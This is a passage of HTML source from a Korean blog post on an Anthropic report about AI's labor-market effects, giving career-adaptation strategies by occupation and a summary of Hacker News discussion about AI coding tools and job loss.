&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;3~5년 내&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;공공 부문&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;매우 느림&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;민원 처리, 문서 관리, 통계 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;5년 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -15px;&quot; data-ke-size=&quot;size8&quot;&gt;(필자 추정. Anthropic 보고서 프레임워크를 한국 산업 맥락에 적용한 것으로, 공식 데이터가 아님)&lt;/p&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 7. 어떻게 준비해야 하나 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;7. 어떻게 준비해야 하나 -- 실질적 조언&lt;/h2&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&quot;AI 때문에 큰일이다&quot;로 끝나면 의미가 없다. 구체적인 행동 방안을 이야기해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;전략 1: AI 도구 숙련 -- &quot;대체&quot;가 아니라 &quot;증폭&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic 보고서의 핵심 인사이트 중 하나는 &lt;b&gt;&quot;이론적 가능성(94%)과 실제 채택(33%)의 간극&quot;&lt;/b&gt;이다. 이 간극이 존재하는 이유 중 하나는, AI 도구를 제대로 활용하는 인력이 아직 부족하기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;역설적으로, &lt;b&gt;AI 도구를 가장 잘 다루는 사람이 AI 시대에 가장 가치 있는 인력&lt;/b&gt;이 된다. AI에 의해 대체되는 사람과, AI를 활용하여 10배의 생산성을 내는 사람은 전혀 다른 운명을 맞이한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;개발자라면&lt;/b&gt;: Claude Code, GitHub Copilot, Cursor 등 AI 코딩 도구를 일상 업무에 통합하라. 단순히 &quot;코드 생성&quot;이 아니라, 아키텍처 설계, 코드 리뷰, 디버깅에 AI를 활용하는 패턴을 익혀라. AI가 생성한 코드를 검증하고 개선하는 능력 -- 즉 &quot;AI 코드 리뷰어&quot; 역할 -- 이 핵심 스킬이 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;마케터라면&lt;/b&gt;: AI 기반 데이터 분석, 콘텐츠 생성, A/B 테스트 자동화 도구를 실무에 적용하라. AI가 생성한 콘텐츠를 브랜드 톤에 맞게 편집하고, 전략적 인사이트를 도출하는 역량에 집중하라.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;금융 분석가라면&lt;/b&gt;: AI를 활용한 데이터 처리, 보고서 초안 생성, 시나리오 분석 능력을 키워라. AI가 놓치는 비정형 리스크(정치적 변수, 시장 심리 등)를 판단하는 역량이 차별화 포인트다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;고객 서비스 직군이라면&lt;/b&gt;: AI 챗봇 시스템 관리, 복잡한 에스컬레이션 처리, AI가 놓치는 감성적 대응 능력에 집중하라. &quot;AI가 해결하지 못한 문제를 해결하는 사람&quot;이 되어야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;전략 2: &quot;고차원 판단&quot; 영역으로 이동&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;AI는 패턴화된 작업에 강하지만, 다음 영역에서는 아직 인간이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;AI가 잘하는 영역&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;인간이 (아직) 더 나은 영역&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;- 코드 생성/번역&lt;br /&gt;- 데이터 정리/요약&lt;br /&gt;- 정형화된 보고서 작성&lt;br /&gt;- 정보 검색/종합&lt;br /&gt;- 패턴 기반 분류&lt;br /&gt;- 번역&lt;br /&gt;- 기본적인 고객 응대&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;- 모호한 요구사항 해석&lt;br /&gt;- 이해관계자 간 조율&lt;br /&gt;- 윤리적/법적 판단&lt;br /&gt;- 새로운 문제 정의&lt;br /&gt;- 조직 문화/정치 이해&lt;br /&gt;- 고객 감성 대응&lt;br /&gt;- 물리적 현장 판단&lt;br /&gt;- 장기 전략 수립&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;프로그래머의 예를 들면&lt;/b&gt;, 순수 코딩(코드 작성) 업무는 AI에 의해 빠르게 자동화되고 있다. 하지만 &quot;어떤 시스템을 어떤 구조로 설계할 것인가&quot;, &quot;팀 간 기술적 의사결정을 어떻게 조율할 것인가&quot;, &quot;비즈니스 요구사항을 기술적 설계로 어떻게 번역할 것인가&quot;는 여전히 인간의 영역이다. &lt;b&gt;코더(Coder)에서 아키텍트(Architect)로, 실행자에서 의사결정자로&lt;/b&gt; 포지션을 이동시켜야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;마케터의 예를 들면&lt;/b&gt;, 데이터 수집과 분석 리포트 초안 작성은 AI가 빠르게 해낸다. 하지만 &quot;이 데이터가 말하는 시장의 방향이 무엇인가&quot;, &quot;경쟁사의 움직임을 어떻게 해석할 것인가&quot;, &quot;CEO를 설득하기 위해 어떤 스토리를 만들 것인가&quot;는 인간의 판단이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;전략 3: &quot;물리적 기술 + 지적 능력&quot; 복합 역량 구축&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic 보고서에서 AI 노출이 0%인 직종(요리사, 정비사, 인명구조원 등)의 공통점은 &lt;b&gt;&quot;물리적 기술&quot;이 핵심&lt;/b&gt;이라는 것이다. 순수 사무직이라도 물리적 요소를 추가하면 안전 지대가 넓어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;현장 방문이 필요한 컨설팅 (공장, 매장, 건설 현장 등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;대면 교육/강의/워크숍 진행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;물리적 제품 관리가 포함된 PM 역할&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;하드웨어-소프트웨어 통합 개발 (IoT, 임베디드 등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;의료/간호 등 환자 접촉이 필요한 업무&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이것은 &quot;블루칼라로 전직하라&quot;는 뜻이 아니다. &lt;b&gt;&quot;지적 능력 + 물리적 요소&quot;가 결합된 하이브리드 역할&lt;/b&gt;을 찾으라는 뜻이다. 예를 들어, AI 엔지니어가 로봇 공학까지 다룰 수 있다면, 또는 데이터 분석가가 현장 리서치까지 수행할 수 있다면, 순수 사무직보다 대체 가능성이 크게 낮아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;전략 4: 경력 포트폴리오 다각화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;하나의 스킬셋에만 의존하지 마라. 특히 Anthropic 보고서가 고위험으로 분류한 직종에 있다면, 인접 영역으로의 확장을 시작해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;개발자&lt;/b&gt;: 코딩 + 프로덕트 매니지먼트 + 사업 이해 + 데이터 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데이터 분석가&lt;/b&gt;: 분석 + 스토리텔링 + 이해관계자 소통 + 도메인 전문성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;마케터&lt;/b&gt;: 마케팅 + AI 도구 운용 + 데이터 사이언스 기초 + 브랜드 전략&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;금융 분석가&lt;/b&gt;: 분석 + 고객 관계 관리 + 리스크 판단 + 규제 전문성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;QA 분석가&lt;/b&gt;: 테스트 + 보안 + DevOps + 사용자 경험&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;핵심은 &lt;b&gt;&quot;T자형 인재&quot;에서 &quot;파이(Pi)형 인재&quot;&lt;/b&gt;로의 전환이다. 하나의 깊은 전문성(T의 세로줄) 위에, 두 개 이상의 인접 전문성(파이의 두 세로줄)을 구축해야 한다. AI가 하나의 전문 영역을 빠르게 따라잡더라도, 여러 영역의 교차점에서 일하는 사람은 대체하기 훨씬 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;전략 5: &quot;AI 감독자(AI Supervisor)&quot; 역할을 노려라&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Hacker News 토론에서 한 사용자(neya)가 핵심을 짚었다: &lt;b&gt;&quot;AI는 항상 아키텍트가 필요하다. AI가 이메일을 써도 보내기를 누르지 않게 하라. AI가 데이터를 분석해도 최종 결정은 내리지 않게 하라.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;AI를 관리/감독/교정하는 역할 -- &quot;AI를 쓰는 사람&quot;이 아니라 &lt;b&gt;&quot;AI가 제대로 작동하는지 확인하는 사람&quot;&lt;/b&gt; -- 이 새로운 직무 영역이 되고 있다. 이 포지션은 해당 분야의 도메인 전문성과 AI 도구 이해를 동시에 요구하기 때문에, 진입장벽이 높고 대체가 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;구체적인 예를 들면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 코드 리뷰어&lt;/b&gt;: AI가 생성한 코드의 품질, 보안, 아키텍처 적합성을 검증하는 역할&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 콘텐츠 편집자&lt;/b&gt;: AI가 생성한 마케팅 콘텐츠의 브랜드 일관성, 사실 정확성, 톤을 검수하는 역할&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 운영 관리자&lt;/b&gt;: AI 시스템의 성능, 편향, 오류를 모니터링하고 개선하는 역할&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 교육 담당자&lt;/b&gt;: 조직 내 AI 도구 활용 교육, 베스트 프랙티스 수립, 사용 가이드라인 작성 역할&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;직종별 실행 로드맵&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;현재 직종&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;지금 당장 (1~3개월)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;중기 (3~12개월)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;장기 (1~3년)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;&lt;b&gt;프로그래머&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;AI 코딩 도구 일상 사용, 프롬프트 엔지니어링 학습&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;시스템 설계 역량 강화, 프로덕트 감각 키우기&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;아키텍트/테크 리드/PM으로 포지션 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;&lt;b&gt;마케터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;AI 콘텐츠 도구 실무 적용, 데이터 분석 기초&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;브랜드 전략/스토리텔링 심화, AI 워크플로우 설계&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;CMO 역량 구축, 크로스 기능 리더십&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;&lt;b&gt;금융 분석가&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;AI 분석 도구 활용, 자동 리포트 생성 파이프라인 구축&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;규제 전문성 심화, 고객 관계 역량 강화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;자산 관리/리스크 관리 리더십, AI+금융 하이브리드 전문가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;&lt;b&gt;고객 서비스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;AI 챗봇 관리 역량 습득, 복잡 케이스 전문화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;CX(고객 경험) 디자인 학습, 에스컬레이션 프로세스 설계&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;CX 매니저, AI 고객 서비스 운영 책임자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;&lt;b&gt;데이터 입력&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;데이터 분석 기초 학습, AI 도구 교육&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;데이터 품질 관리, AI 출력 검증 역할로 전환&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top; font-size: 14px;&quot;&gt;데이터 관리 전문가, AI 운영 관리자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -15px;&quot; data-ke-size=&quot;size8&quot;&gt;(필자 제안. 개인의 상황에 따라 조정이 필요함)&lt;/p&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 8. 커뮤니티 반응 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 id=&quot;community&quot; style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;8. 커뮤니티 반응&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;Anthropic의 이번 보고서는 온라인 기술 커뮤니티에서 뜨거운 논쟁을 촉발했다. 특히 Hacker News에서 활발한 토론이 이루어졌다. 아래는 주요 커뮤니티의 반응을 정리한 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;Hacker News 핵심 토론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Hacker News(YC)에서 이 논문은 상당한 관심을 끌었다. 반응은 크게 네 가지 갈래로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;1) &quot;AI 생산성 향상은 맥락에 따라 다르다&quot; 파&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;전직 FAANG 엔지니어(vb7132)의 코멘트가 눈길을 끌었다: &lt;b&gt;&quot;혼자 작업할 때는 50배 더 생산적이지만, 대기업에서는 대부분의 시간이 '회의와 회의에 대한 회의'에 쓰인다&quot;&lt;/b&gt;며, LLM이 도움이 되는 영역을 보일러플레이트 코드, 언어 번역, 학습/요약, 문서화 네 가지로 한정했다. 즉, 프로그래머 업무의 75%가 AI에 노출되어 있다고 해도, 대기업 환경에서 실제로 AI가 효율을 높이는 부분은 전체 업무 시간의 일부에 불과하다는 시각이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;2) &quot;AI 품질 문제가 심각하다&quot; 파&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한 사용자(mirsadm)는 Claude Code로 기능 구현 속도는 빨라졌지만, &lt;b&gt;베타 테스트에서 &quot;미친 듯한(insane) 양의 버그&quot;를 발견&lt;/b&gt;했다고 고백했다. 자신의 코드베이스에 대한 멘탈 모델이 약해졌다고도 언급. 이 경험을 반복하지 않겠다고 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;또 다른 사용자(laserlight)는 같은 4시간을 투자했을 때, &lt;b&gt;Claude Code로 만든 결과물은 아키텍처가 엉망이고 유지보수 불가능했던 반면, Cursor 탭 자동완성을 활용한 결과물은 깔끔한 OOP 구조&lt;/b&gt;였다고 비교했다. 결론: 동일한 시간 투자에서 수동 작업이 더 나은 결과를 냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한 사용자(Madmallard)는 &lt;b&gt;2만 줄짜리 XNA 게임을 다른 언어로 마이그레이션&lt;/b&gt;하는 데 Claude를 사용했지만 반복적으로 실패했다고 보고했다. 개별 함수 단위로 쪼개서 작업해도 Claude는 기능하지 않는 결과물을 계속 생산했다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;3) &quot;인지 능력 퇴화&quot; 우려 파&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한 사용자(throwaw12)의 글이 인상적이다: &lt;b&gt;&quot;내 두뇌 근육이 충분히 발달하지 않고 있다. 예전에는 타이핑하면서 더 많은 것을 봤고 '아하' 순간이 있었는데, 지금은 AI가 내 명령에 복종할 뿐이다.&quot;&lt;/b&gt; AI에 의존하면서 개발자 자신의 문제 해결 능력이 퇴화하고 있다는 우려다. 이것은 5장에서 다룬 &quot;학습 기회의 박탈&quot; 문제와 정확히 맞닿아 있다. 현직 개발자조차 AI 의존으로 역량이 약화되는데, 처음부터 AI와 함께 시작하는 주니어들은 어떨까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;4) &quot;역사적 선례&quot; 논쟁&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한 사용자(rybosworld)는 미시간주 자동차 산업의 사례를 들었다: &lt;b&gt;2000~2009년 사이 자동차 부문 일자리가 33만 명에서 10만 9천 명으로 줄었고, 이직한 사람들의 약 1/3은 이전과 같은 수준의 고용을 되찾지 못했다.&lt;/b&gt; &quot;새로운 일자리가 생긴다&quot;는 낙관적 내러티브에 대한 강력한 반론이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;또 다른 사용자(heavyset_go)는 이에 동조하며: &lt;b&gt;&quot;사람들과 가족들이 빈곤에 빠졌다&quot;&lt;/b&gt;고 지적했다. 거시적으로 &quot;새 일자리가 생긴다&quot;는 것이 사실이라 해도, 개인 단위에서는 회복이 불가능한 경우가 많다는 점을 강조했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;번외: 고용주 시각 -- &quot;왜 생산성이 오르면 해고하나?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;비영리 섹터 종사자(yoyohello13)가 던진 질문이 흥미롭다: &quot;일이 더 빨리 끝나면 왜 인원을 줄이나? 더 많은 일을 하면 되지 않나?&quot; 엔지니어링 매니저(superfrank)가 반박했다: &lt;b&gt;예산 압박, 병목이 PM/디자인 쪽으로 이동, 필요 스킬셋의 변화&lt;/b&gt; 등이 감축의 이유라고. 다만 본인도 이 논리에 완전히 동의하지는 않는다고 인정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 25px; border-radius: 10px; border-left: 4px solid #6c757d; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;HN 토론에서 도출된 합의점&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;잘 정의되고 문서화된 코드베이스에서 AI가 잘 작동한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;새로운 문제, 깊은 아키텍처 결정, 성능 최적화에서는 AI가 실패한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AI 생산성 향상 주장의 대부분은 &quot;혼자 작업하는 개인 프로젝트&quot; 맥락이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;대규모 팀 협업에서는 AI의 기여가 제한적이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AI 코드의 품질은 인간 검증 없이는 위험하다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: Hacker News, &quot;Labor market impacts of AI&quot; 토론 스레드)&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 커뮤니티의 체감&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;커뮤니티 반응을 종합하면, 세 가지 입장이 뚜렷하게 갈린다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비관론&lt;/b&gt;: &quot;초급 개발자 채용이 이미 얼어붙었다. 보고서가 뒤늦게 확인해주고 있을 뿐이다. 미시간 자동차 산업의 전철을 밟게 될 것이다.&quot;&lt;/li&gt;
